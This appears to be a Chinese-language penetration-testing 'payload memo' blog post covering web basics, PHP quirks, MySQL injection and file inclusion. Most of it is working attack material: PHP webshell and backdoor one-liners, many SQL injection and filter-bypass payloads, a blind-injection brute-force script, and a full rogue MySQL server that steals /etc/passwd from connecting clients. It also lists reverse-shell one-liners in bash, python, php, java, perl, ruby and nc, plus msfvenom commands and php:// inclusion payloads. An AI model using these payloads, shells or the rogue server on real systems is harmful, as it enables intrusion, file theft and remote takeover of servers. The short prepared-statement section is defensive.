payload备忘

春节在家,闲来无事总结一下常规或者不常规的操作,部分内容转自大师傅们的博客,侵删,不定期更新

web基础

TCP/IP 五层模型

应用层–传输层–网络层–数据链路层–物理层

TCP三次握手

所谓三次握手(Three-way Handshake),是指建立一个 TCP 连接时,需要客户端和服务器总共发送3个包。

三次握手的目的是连接服务器指定端口,建立 TCP 连接,并同步连接双方的序列号和确认号,交换 TCP 窗口大小信息。在 socket 编程中,客户端执行 connect() 时。将触发三次握手。

  • 第一次握手(SYN=1, seq=x):

    客户端发送一个 TCP 的 SYN 标志位置1的包,指明客户端打算连接的服务器的端口,以及初始序号 X,保存在包头的序列号(Sequence Number)字段里。

    发送完毕后,客户端进入 SYN_SEND 状态。

  • 第二次握手(SYN=1, ACK=1, seq=y, ACKnum=x+1):

    服务器发回确认包(ACK)应答。即 SYN 标志位和 ACK 标志位均为1。服务器端选择自己 ISN 序列号,放到 Seq 域里,同时将确认序号(Acknowledgement Number)设置为客户的 ISN 加1,即X+1。 发送完毕后,服务器端进入 SYN_RCVD 状态。

  • 第三次握手(ACK=1,ACKnum=y+1)

    客户端再次发送确认包(ACK),SYN 标志位为0,ACK 标志位为1,并且把服务器发来 ACK 的序号字段+1,放在确定字段中发送给对方,并且在数据段放写ISN的+1

    发送完毕后,客户端进入 ESTABLISHED 状态,当服务器端接收到这个包时,也进入 ESTABLISHED 状态,TCP 握手结束。

http基础及相关攻击

状态码:200 302 400 401 403 404 500

请求方式:1.0 get post head 1.1新增:put delete connect options trace patch

http1.1 分块绕waf

请求走私: https://blog.zeddyu.info/2019/12/05/HTTP-Smuggling/

web 相关组件介绍

https://hellohxk.com/blog/web-component/

跨域相关

同源策略

同协议,同端口,同域名

同源策略有两种限制,第一种是限制了不同源之间的请求交互,例如在使用XMLHttpRequest 或 fetch 函数时则会受到同源策略的约束。 第二个限制是浏览器中不同源的框架之间是不能进行js的交互操作的。比如通过iframe和window.open产生的不同源的窗口。这两种限制都有不同的解决方案。

对于<a> <script> <img> <video> <link>这类属性带有src,href的标签,允许跨域加载

跨域数据传输方式

document.domain

此方法针对的是同源策略的第二个限制,即不同窗口之间的同源限制。且此方法只能影响顶级域名相同子域名不同之间的同源规则。

不同子域名之间默认不同源(如aaa.evoa.me与bbb.evoa.me),但是可以通过设置document.domain为相同的更高级域名,来使不同子域同源。

  • document.domain 只可以被设置为他的当前域或其当前域的父域
  • document.domain 的赋值操作会导致端口号被重写为NULL,所以 aaa.evoa.me 仅设置document.domain为evoa.me 并不能与evoa.me进行通信,evoa.me的页面也必须赋值一次使双方端口相同从而通过浏览器的同源检测。这么做的目的是,如果子域有XSS,那么他的父域都存在安全隐患
  • 设置document.domain并不会影响XMLHttpRequest 或 fetch的同源策略。
window.name

window对象有个name属性,该属性有个特征:即在一个窗口(window)的生命周期内,窗口载入的所有的页面都是共享一个window.name的,每个页面对window.name都有读写的权限,window.name是持久存在一个窗口载入过的所有页面中的,并不会因新页面的载入而进行重置。

举个例子,页面有个iframe,iframe中的页面为A,无论iframe中的页面A地址怎么更改,这个iframe对象都是共享同一个window.name,A页面设置window.name,再将iframe的src设置为B页面,B页面中的JS脚本可以读取到之前A页面设置的window.name,简而言之,window.name几乎不受同源策略的影响

所以,永远不要把敏感数据存在window.name中,否则敏感数据可以被任何其他网页的JS脚本获取

location.hash

由于此跨域方法比较麻烦且无比较直接的安全问题,此处不细讲

postMessage

window.postMessage() 方法可以安全地实现跨源通信,被调用时,会在所有页面脚本执行完毕之后向目标窗口派发一个 MessageEvent 消息。 该函数的第一个参数为发送的消息,第二个参数是匹配发送给的窗口的url地址(可以使用*,代表无限制通配),若目标url和此参数不匹配,消息就不会被发送。

被接受窗口则可以通过监听message事件来获取接受信息

如果事件监听没有判断事件的来源,则会有很大的安全隐患

JSONP

上面讲过<script>标签可以跨域加载资源,但是返回内容如果不符合JS语法同样无法获取数据,JSONP则是通过返回符合JS语法的数据内容使资源能够跨域加载

它是基于JSON 格式的为解决跨域请求资源而产生的解决方案,基本原理是利用HTML里script元素标签,远程调用JSON文件来实现数据传递。

JSONP的基本语法为:callback({“name”:”alan”, “msg”:”success”})

参考链接: https://xz.aliyun.com/t/4470

基础工具

nmap

1
nmap -sV -p- <targer>

sqlmap

linux

基本命令,运维相关

OWASP TOP 10 2017

  • 注入
  • 失效的认证和会话管理
  • XSS
  • 失效的访问控制
  • 安全配置不当
  • 敏感信息泄露
  • 攻击防护不足
  • CSRF
  • 使用已知漏洞组件
  • 未受有效保护的API

PHP版本特性

5.5 -> 5.6

使用表达式定义常量

在常量、属性声明和函数参数默认值声明时,以前版本只允许常量值,PHP5.6开始允许使用包含数字、字符串字面值和常量的标量表达式。

1
2
3
4
5
6
7
8
9
<?php
const ONE = 1;
const TWO = ONE * 2;

class C {
const THREE = TWO + 1;
const ONE_THIRD = ONE / self::THREE;
const SENTENCE = 'The value of THREE is '.self::THREE;
}

使用 ... 运算符定义变长参数函数

1
2
3
4
5
6
7
8
9
<?php
function f($req, $opt = null, ...$params) {
// $params 是一个包含了剩余参数的数组
printf('$req: %d; $opt: %d; number of params: %d'."\n",
$req, $opt, count($params));
}

f(1);
f(1, 2);

漏洞代码

1
2
3
4
5
6
<?php
$param = $_REQUEST['param'];
if(strlen($param)<17 && stripos($param,'eval') === false && stripos($param,'assert') === false) {
eval($param);
}
?>

结合回调函数利用

1
2
3
4
5
6
7
8
9
10
POST /test.php?1[]=test&1[]=var_dump($_SERVER);&2=assert HTTP/1.1
Host: localhost:8081
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

param=usort(...$_GET);

使用 ... 运算符进行参数展开

在调用函数的时候,使用 … 运算符, 将 数组 和 可遍历 对象展开为函数参数。 在其他编程语言,比如 Ruby中,这被称为连接运算符。

1
2
3
4
5
6
7
8
<?php
function add($a, $b, $c) {
return $a + $b + $c;
}

$operators = [2, 3];
echo add(1, ...$operators);
?>

use function 以及 use const

use 运算符 被进行了扩展以支持在类中导入外部的函数和常量。 对应的结构为 use function 和 use const。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
namespace Name\Space {
const FOO = 42;
function f() { echo __FUNCTION__."\n"; }
}

namespace {
use const Name\Space\FOO;
use function Name\Space\f;

echo FOO."\n";
f();
}
?>

5.6 -> 7

preg_replace()不再支持/e修饰符

下边的这个后门就不能再用了

1
2
3
<?php
preg_replace("/.*/e",$_GET["h"],".");
?>

但是7.0提供了新的函数,可以改改继续用

1
2
3
<?php
preg_replace_callback("/.*/",function ($a){@eval($a[0]);},$_GET["h"]);
?>

create_function()被废弃

少了一种可以利用当后门的函数,实际上它是通过执行eval实现的。可有可无。

mysql_*系列全员移除

官方推荐的是mysqli或者pdo_mysql

unserialize()增加一个可选白名单参数

例如下面这种使用方法, 如果反序列数据里面的类名不在这个白名单内,就会报错

1
2
$data = unserialize($serializedObj1 , ["allowed_classes" => true]);
$data2 = unserialize($serializedObj2 , ["allowed_classes" => ["MyClass1", "MyClass2"]]);

assert()默认不再可以执行代码

导致一系列assert的后门无法利用

但是测试好像有些低版本7.x仍可以

foreach不再改变内部数组指针

测试代码如下

1
2
3
4
5
6
7
8
9
10
11
<?php
$a = array('1','2','3');
foreach ($a as $k=>&$n){
echo "";
}
print_r($a);
foreach ($a as $k=>$n){
echo "";

}
print_r($a);

5.6 运行结果

1
2
3
4
5
6
7
8
9
10
11
12
Array         
(
[0] => 1
[1] => 2
[2] => 3
)
Array
(
[0] => 1
[1] => 2
[2] => 2
)

因为数组最后一个元素的 $value 引用在 foreach 循环之后仍会保留,在第二个循环的时候实际上是对之前的指针不断的赋值。php7中通过值遍历时,操作的值为数组的副本,不在对后续操作进行影响。

只影响7.0.0一个版本,之后又改回去了

移除script标签

也就是说下面这种后门不能用了

1
<script language="php">@eval($_POST[a])</script>

超大浮点数类型转换截断

将浮点数转换为整数的时候,如果浮点数值太大,导致无法以整数表达的情况下, 在PHP5的版本中,转换会直接将整数截断,并不会引发错误。 在PHP7中,会报错。

7.4 预加载绕过disable_function (RCTF2019)

预加载,允许服务器在启动时在内存中加载PHP文件,并使它们永久可用于所有后续请求,主要用来大幅提升IO性能。

在php.ini中有一项设置名为opcache.preload,用来指定将在服务器启动时编译和执行的PHP文件,文件中定义的所有函数和大多数类都将永久加载到PHP的函数和类表中,并在将来的任何请求的上下文中永久可用。

当PHP所有的命令执行函数被禁用后,通过PHP 7.4的新特性FFI可以实现用PHP代码调用C代码的方式,先声明C中的命令执行函数,然后再通过FFI变量调用该C函数即可Bypass disable_functions。

也就是说,通过PHP调用C的命令执行函数来绕过。

MYSQL注入

注入的本质,是把用户输入数据作为代码执行。有两个关键条件:第一个是用户能控制输入;第二是原本程序要执行的代码,拼接了用户输入的数据,把数据当代码执行了。

基本操作

查数据库

1
select group_concat(schema_name) from information_schema.schemata

查表名

1
select group_concat(table_name) from information_schema.tables where table_schema=database()

查列名

1
select group_concat(column_name) from information_schema.columns where table_name=tablename

查字段

1
select group_concat(属性) from 库.表

读文件

1
SELECT load_file('/etc/passwd')

写文件

1
SELECT <?php @eval($_POST[1]);?> into outfile '/var/www/html/shell.php'

报错注入

floor

1
2
select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a;
# count(*),floor,group by 三者缺一不可

exp

1
select exp(~(select * from(select user())a))

extractvalue

1
select * from users where id=1 and extractvalue(1,concat(0x3a,(select database()),0x3a))

updatexml

1
select * from users where id=1 and updatexml(1,concat(0x3a,(select database()),0x3a),1)

geometrycollection

1
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

multipoint

1
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

polygon

1
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

multipolygon

1
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

linestring

1
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

multilinestring

1
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

盲注

布尔盲注

只要页面有不同的回显就有可能存在布尔盲注

需要会写二分法盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//正常情况
'or bool#
true'and bool#

//不使用空格、注释
'or(bool)='1
true'and(bool)='1

//不使用or、and、注释
'^!(bool)='1
'=(bool)='
'||(bool)='1
true'%26%26(bool)='1
'=if((bool),1,0)='0

//不使用等号、空格、注释
'or(bool)<>'0
'or((bool)in(1))or'0

//其他
or (case when (bool) then 1 else 0 end)

异或构造

1
'^(ascii(mid((password)from(i)for(1)))>j)^'1'='1' #

pow函数数值溢出

1
2
select if(1,1,pow(2,222222222222)); //条件为真,返回1
select if(0,1,pow(2,222222222222)); //条件为假,报错

Mid构造布尔条件

1
Mid(version(),(ascii(substr((select group_concat(password)%0afrom%0aadmin),1,1)))>63.0,1)

谜之布尔盲注exp

1
' !=!!(ascii(mid((select version())from(2)))=47) !=!!'1

时间盲注

sleep

1
select sleep(5)

BENCHMARK

1
select benchmark(1000000,sha(1))

笛卡尔积

1
select count(*) from information_schema.columns A, information_schema.columns B, information_schema.tables C

GET_LOCK

1
2
3
4
5
#session 1
select get_lock('test',1)

#session 2
select get_lock('test',5)

rpad/repeat

1
select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b')

通过rpadrepeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短

二次注入

对从数据库中取出的数据没有进行过滤,导致二次注入

绕过技巧

php迭代次数限制,绕过preg_match的过滤

1
'union/*'+'a'*1000000+'*/select 1,2,3-- -'

select 被过滤

堆叠注入(强网杯2019),利用原理: mysqli_multi_query

采用预加载去绕过select

1
2
3
4
set @sql=concat('selec','t flag from `1919810931114514`');
prepare presql from @sql;
execute presql;
deallocate prepare presql;

括号被过滤

利用 order by 的不同回显进行盲注(第五空间线下web)

查询语句类似如下

1
$sql = "select * from admin where  username ='$username' and password = '$password'";

过滤如下

1
$filterlist = "/\(|\)|username|password|where|case|when|like|regexp|into|limit|=|for|;/";

回显语句

1
2
3
4
5
6
if($res->num_rows>0){
$row = $res -> fetch_assoc();
if($row['id']){
echo $row['username'];
}
}

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

url = 'http://127.0.0.1/2.php'
d = '0123456789abcdefghijklmnopqrstuvwxyz{}'
out = ''
for i in range(30):
for j in range(len(d)):
payload = "admin' union select 1,2,'{0}' order by 3 -- +".format(out+d[j])
#print(payload)
data = {'username':payload, 'password':'abcde'}
result = requests.post(url, data=data).text
#print(result)
if len(result) > 7:
out += d[j-1]
break
print(out)

禁用information_schema

mysql 5.6.X起,新增了innodb_index_statsinnodb_table_stats两个表

其中innodb_index_stats存储的是innodb引擎的库名,表名及其对应的索引名称.innodb_table_stats存储的是innodb引擎的库名和表名,

1
select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()

格式化字符串

漏洞成因:

占位符位于 % 符号之后,由数字和 \$组成,如果%后面出现一个\,那么PHP会把\当做一个格式化字符的类型而吃掉\,最后%\(或者%1$\)都会被置空,其实就是%后的一个字符(除了%)都会被当作字符型类型而被吃掉,也就是被当做一个类型进行匹配后面的变量 会逃逸出一个'

漏洞代码

1
2
3
4
5
6
7
8
<?php
$password = "123456";
$sql = "select * from user where username='%s'";
$sql = sprintf($sql,$username);
$sql = "$sql and password = '%s'" ;
$sql = sprintf($sql,$password);
echo $sql;
?>

利用:admin%1$' or 1=1#

参考链接: https://paper.seebug.org/386/

报错注入,过滤concat

1
select updatexml(1,make_set(3,'~',(select user())),1);

过滤空格

注释绕过

1
select/**/username/**/from/**/user

回车替换

1
select%0ausername%0afrom%0auser

非常规操作(RCTF2015)

1
select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())

宽字节注入

漏洞成因: 连接字符集为gbk,对传入的值已用addslashes()做了转义

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
header("content-type:text/html;charset=gb2312");
$servername = "localhost";
$username = "root";
$password = "123456";
$dbname = "test";
// 创建连接
$conn = mysqli_connect($servername, $username, $password, $dbname);
// Check connection
if (!$conn) {
die("Connect error: " . mysqli_connect_error());
}
$uid = addslashes($_GET['id']);
$sql = "SELECT * FROM user where id=$uid";
mysqli_query($conn, "set names gbk");
$result = mysqli_query($conn, $sql);
print_r('当前语句: ' .$sql. '<br />');
?>

利用: id=2%df ‘

二次urldecode注入

如果某处使用了urldecode或者rawurldecode函数,会导致二次解码生成单引号。
如我们提交的是/test.php?id=1%2527,因为没有提交单引号没有触发过滤,%25的解码结果是%。则第一次解码之后是/test.php?id=1%27,如果程序里面再次使用urldecode解码id参数的话,就会生成/test.php?id=1’,单引号成功闭合。

16进制绕过单引号被过滤或敏感词检测

1
select 1,table_name,3,4 from information_schema.tables where table_schema=0x76657374

逗号绕过

mid的逗号

1
select mid(user() from 1 for 1)<150

limit的逗号

1
select * from user limit 1 offset 2

未知字段名

使用 join

1
select group_concat(c) from (select * from ((select 'a')a join (select 'b')b join (select 'c')c) union/**/select * from fl111aa44a99g)d

利用异或去爆破password

1
admin'^(ascii(mid((password)from(i)))>j)^'1'='1'%23

between and 盲注

在过滤了=,like, regexp,>,<的情况下使用

1
select database() between 't' and 'z'

limit 注入

要求版本小于 5.6.6

利用如下

报错注入

1
select id from users order by id desc limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

时间盲注

1
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

union select 和 in被过滤

获取表名

1
select table_name from sys.x$schema_table_statistics where table_schema=database() limit 0,1

未知表名、不能使用逗号、不能截断的时间盲注

1
(select case when ((SELECT length(t.4) from (select * from((select 1)a join(select 2)b join (select 3)c join (select 4)d) union/**/select * from flag) as t limit 1 offset 1) ="+str(i)+") then sleep(2) else 0 end)

其他利用姿势

load data infile 任意文件读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
#!/usr/bin/env python
#coding: utf8


import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers



PORT = 3306

log = logging.getLogger(__name__)

log.setLevel(logging.INFO)
tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
tmp_format
)

filelist = (
'/etc/passwd',
)


#================================================
#=======No need to change after this lines=======
#================================================

__author__ = 'Gifts'

def daemonize():
import os, warnings
if os.name != 'posix':
warnings.warn('Cant create daemon on non-posix system')
return

if os.fork(): os._exit(0)
os.setsid()
if os.fork(): os._exit(0)
os.umask(0o022)
null=os.open('/dev/null', os.O_RDWR)
for i in xrange(3):
try:
os.dup2(null, i)
except OSError as e:
if e.errno != 9: raise
os.close(null)

class LastPacket(Exception):
pass


class OutOfOrder(Exception):
pass


class mysql_packet(object):
packet_header = struct.Struct('<Hbb')
packet_header_long = struct.Struct('<Hbbb')
def __init__(self, packet_type, payload):
if isinstance(packet_type, mysql_packet):
self.packet_num = packet_type.packet_num + 1
else:
self.packet_num = packet_type
self.payload = payload

def __str__(self):
payload_len = len(self.payload)
if payload_len < 65536:
header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
else:
header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)

result = "{0}{1}".format(
header,
self.payload
)
return result

def __repr__(self):
return repr(str(self))

@staticmethod
def parse(raw_data):
packet_num = ord(raw_data[0])
payload = raw_data[1:]

return mysql_packet(packet_num, payload)


class http_request_handler(asynchat.async_chat):

def __init__(self, addr):
asynchat.async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'Auth'
self.logined = False
self.push(
mysql_packet(
0,
"".join((
'\x0a', # Protocol
'5.6.28-0ubuntu0.14.04.1' + '\0',
'\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
)) )
)

self.order = 1
self.states = ['LOGIN', 'CAPS', 'ANY']

def push(self, data):
log.debug('Pushed: %r', data)
data = str(data)
asynchat.async_chat.push(self, data)
def collect_incoming_data(self, data):
log.debug('Data recved: %r', data)
self.ibuffer.append(data)

def found_terminator(self):
data = "".join(self.ibuffer)
self.ibuffer = []

if self.state == 'LEN':
len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
if len_bytes < 65536:
self.set_terminator(len_bytes)
self.state = 'Data'
else:
self.state = 'MoreLength'
elif self.state == 'MoreLength':
if data[0] != '\0':
self.push(None)
self.close_when_done()
else:
self.state = 'Data'
elif self.state == 'Data':
packet = mysql_packet.parse(data)
try:
if self.order != packet.packet_num:
raise OutOfOrder()
else:
# Fix ?
self.order = packet.packet_num + 2
if packet.packet_num == 0:
if packet.payload[0] == '\x03':
log.info('Query')

filename = random.choice(filelist)
PACKET = mysql_packet(
packet,
'\xFB{0}'.format(filename)
)
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'File'
self.push(PACKET)
elif packet.payload[0] == '\x1b':
log.info('SelectDB')
self.push(mysql_packet(
packet,
'\xfe\x00\x00\x02\x00'
))
raise LastPacket()
elif packet.payload[0] in '\x02':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
elif packet.payload == '\x00\x01':
self.push(None)
self.close_when_done()
else:
raise ValueError()
else:
if self.sub_state == 'File':
log.info('-- result')
log.info('Result: %r', data)

if len(data) == 1:
self.push(
mysql_packet(packet, '\0\0\0\x02\0\0\0')
)
raise LastPacket()
else:
self.set_terminator(3)
self.state = 'LEN'
self.order = packet.packet_num + 1

elif self.sub_state == 'Auth':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
else:
log.info('-- else')
raise ValueError('Unknown packet')
except LastPacket:
log.info('Last packet')
self.state = 'LEN'
self.sub_state = None
self.order = 0
self.set_terminator(3)
except OutOfOrder:
log.warning('Out of order')
self.push(None)
self.close_when_done()
else:
log.error('Unknown state')
self.push('None')
self.close_when_done()
class mysql_listener(asyncore.dispatcher):
def __init__(self, sock=None):
asyncore.dispatcher.__init__(self, sock)

if not sock:
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind(('', PORT))
except socket.error:
exit()

self.listen(5)

def handle_accept(self):
pair = self.accept()

if pair is not None:
log.info('Conn from: %r', pair[1])
tmp = http_request_handler(pair)


z = mysql_listener()
# daemonize()
asyncore.loop()

mysql 5.7 新特性

在MySQL 5.7中,有不少安全性相关的改进:创建账号分2步:用create user来建立账号(账号长度加大),用grant 来授权;初始数据库的时候密码不为空;账号可以锁和可以设置密码过期;test库被删除;默认提供ssl连接;sql_mode增强等。

链接: https://www.cnblogs.com/zhoujinyi/p/5627494.html

MySQL 5.7.6 中删除了mysql.user system table 的Password列。所有凭据都存储在authentication_string列中,包括以前存储在Password列中的凭据。

新增了报错函数

1
ST_LatFromGeoHash(concat(0x7e,(select database()),0x7e))

写文件 getshell

利用需要满足以下条件:

  • 对web目录有写权限
  • GPC关闭(能使用单引号)
  • 有绝对路径(读文件可以不用,写文件必须)
  • 没有配置 –secure-file-priv
1
2
3
select '一句话' into outfile '路径'
select '一句话' into dumpfile '路径'
select '<?php eval($_POST[1]) ?>' into dumpfile 'd:\\wwwroot\baidu.com\nvhack.php';

mysql提权

MOF提权

MOF文件是mysql数据库的扩展文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做”托管对象格式”,其作用是每隔五秒就会去监控进程创建和死亡。

MOF文件既然每五秒就会执行,而且是系统权限,我们通过mysql将文件写入一个MOF文件替换掉原有的MOF文件,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。

利用条件

  • Windows<=2003
  • mysql在c:windows/system32/mof目录有写权限
  • 已知数据库账号密码

UDF提权

UDF,user defined funcion,即用户自定义函数。用户可以通过自己增加函数对mysql功能进行扩充,文件后缀为.dll。

当我们把’udf.dll’导出指定文件夹引入Mysql时,其中的调用函数拿出来当作mysql的函数使用。这样我们自定义的函数才被当作本机函数执行。在使用CREAT FUNCITON调用dll中的函数后,mysql账号转化为system权限,从而来提权

利用条件

  • windows2003、windowsXP、windows7
  • 拥有mysql的insert和delete权限

参考链接: https://www.cnblogs.com/litlife/p/9030673.html

CVE-2016-6663

CVE-2016-6663是竞争条件(race condition)漏洞,它能够让一个低权限账号(拥有CREATE/INSERT/SELECT权限)提升权限并且以系统用户身份执行任意代码。也就是说,我们可以通过他得到一整个mysql的权限。

CVE-2016-6664

CVE-2016-6664是root权限提升漏洞,这个漏洞可以让拥有MySQL系统用户权限的攻击者提升权限至root,以便进一步攻击整个系统。

导致这个问题的原因其实是因为MySQL对错误日志以及其他文件的处理不够安全,这些文件可以被替换成任意的系统文件,从而被利用来获取root权限。

php 防止sql注入

魔术引用

addslashes() 用于对变量中的’ “ 和NULL添加斜杠,用于避免传入sql语句的参数格式错误

mysql_real_escape_string()

此函数在使用时会使用于数据库连接(因为要检测字符集),并根据不同的字符集做不同的操作。如果当前连接不存在,刚会使用上一次的连接。

此方法在php5.5后不被建议使用,在php7中废除。

预处理查询 (Prepared Statements)

在传统的写法中,sql查询语句在程序中拼接,防注入(加斜杠)是在php中处理的,然后就发语句发送到mysql中,mysql其实没有太好的办法对传进来的语句判断哪些是正常的,哪些是恶意的,所以直接查询的方法都有被注入的风险。
在mysql5.1后,提供了类似于jdbc的预处理-参数化查询。它的查询方法是:
a. 先预发送一个sql模板过去
b. 再向mysql发送需要查询的参数
就好像填空题一样,不管参数怎么注入,mysql都能知道这是变量,不会做语义解析,起到防注入的效果,这是在mysql中完成的

两种实现方式

mysqli:prepare()

1
2
3
4
5
6
$mysqli = new mysqli("example.com", "user", "password", "database");
$stmt = $mysqli->prepare("SELECT id, label FROM test WHERE id = ?");
$stmt->bind_param(1, $city);
$stmt->execute();
$res = $stmt->get_result();
$row = $res->fetch_assoc();

pdo实现

1
2
3
4
5
6
7
$pdo = new PDO("mysql:host=localhost;dbname=test;charset=utf8",'root','pwd');
$pdo->exec('set names utf8');
$id = '0 or 1 =1 order by id desc';
$sql = "select * from article where id = ?";
$statement = $pdo->prepare($sql);
$statement->bindParam(1, $id);
$statement->execute();

反弹shell

bash

bash -i >& /dev/tcp/{ip}/{port} 0>&1

python

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“ip”,port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

弹计算器:eval(“__import__(‘os’).system(‘calc.exe’)”)

php

php -r ‘$sock=fsockopen(“ip”,port);exec(“/bin/sh -i <&3 >&3 2>&3”);’

java

r = Runtime.getRuntime()
p = r.exec([“/bin/bash”,”-c”,”exec 5<>/dev/tcp/192.168.31.41/8080;cat <&5 | while read line; do $line 2>&5 >&5; done”] as String[])
p.waitFor()

perl

perl -e ‘use Socket;$i=”ip”;$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’

ruby

ruby -rsocket -e’f=TCPSocket.open(“ip”,port).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’

nc

nc -e /bin/sh ip port

msfvenom

查询信息

msfvenom -l payloads ‘cmd/unix/reverse’

选择payload

msfvenom -p cmd/unix/reverse_bash lhost=1.1.1.1 lport=12345 R

文件包含

利用条件:与文件包含的函数有四个

  • include()
  • include_once()
  • require()
  • require_once()

当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析

LFI

本地文件包含漏洞

RFI

远程文件包含漏洞,利用环境比较严格,需要在php.ini中设置

  • allow_url_fopen = On
  • allow_url_include = On

常见敏感文件

windows

  • c:\boot.ini
  • c:\windows\systems32\inetsrv\MetaBase.xml
  • c:\windows\repair\sam
  • c:\windows\php.ini php配置文件
  • c:\windows\my.ini mysql配置文件

linux

java
  • WEB-INF/web.xml : Web应用程序配置文件, 描述了servlet和其他的应用组件配置及命名规则.
  • WEB-INF/database.properties : 数据库配置文件
  • WEB-INF/classes/ : 一般用来存放Java类文件(.class)
  • WEB-INF/lib/ : 用来存放打包好的库(.jar)
  • WEB-INF/src/ : 用来放源代码(.asp和.php等)
  • tomcat[默认端口8080 需要用户名密码,还是那句话多尝试些弱口令,进去以后上传war马]
  • jboss [默认端口8080无需任何验证,进去以后上传war马]
  • weblogic [默认端口7001,实际很多是在8080上,进去以后上传war马]
  • Websphere[默认端口9043,实际很多是在8080上,进去以后上传war马]
  • webmin[web版的服务器管理工具,默认端口10000,可以把它当做图形版的ssh管理工具]

系统

  • /etc/passwd
  • /usr/local/app/apache2/conf/http.conf
  • /usr/local/app/php5/lib/php.ini PHP相关设置
  • /etc/httpd/conf/httpd.conf apache配置文件
  • /etc/my.cnf
  • /etc/nginx/nginx.conf nginx配置文件
  • /var/www/html/wp-config.php wordpress配置文件
  • /usr/local/nginx/conf/nginx.conf nginx配置文件
  • /etc/apache2/sites-available/000-default.conf

常规操作

php伪协议

php://input

利用条件:

  • allow_url_include = On。
  • 对allow_url_fopen不做要求。

?file=php://input
POST:

php://filter

?file=php://filter/read=convert.base64-encode/resource=index.php

?file=php://filter/convert.base64-encode/resource=index.php

phar://

利用条件:

  • php版本大于等于php5.3.0

假设有个文件phpinfo.txt,其内容为<?php phpinfo(); ?>,打包成zip压缩包,命名为test.zip

然后去包含

?file=phar://test.zip/phpinfo.txt

zip://

利用条件:

  • php版本大于等于php5.3.0

利用同phar,但是需要指定绝对路径,同时将#编码为%23

?file=zip:///var/www/html/test.zip%23phpinfo.txt

data:URI schema

利用条件:

  • php版本大于等于php5.2
  • allow_url_fopen = On
  • allow_url_include = On

?file=data:text/plain,

?file=data:text/plain,

?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

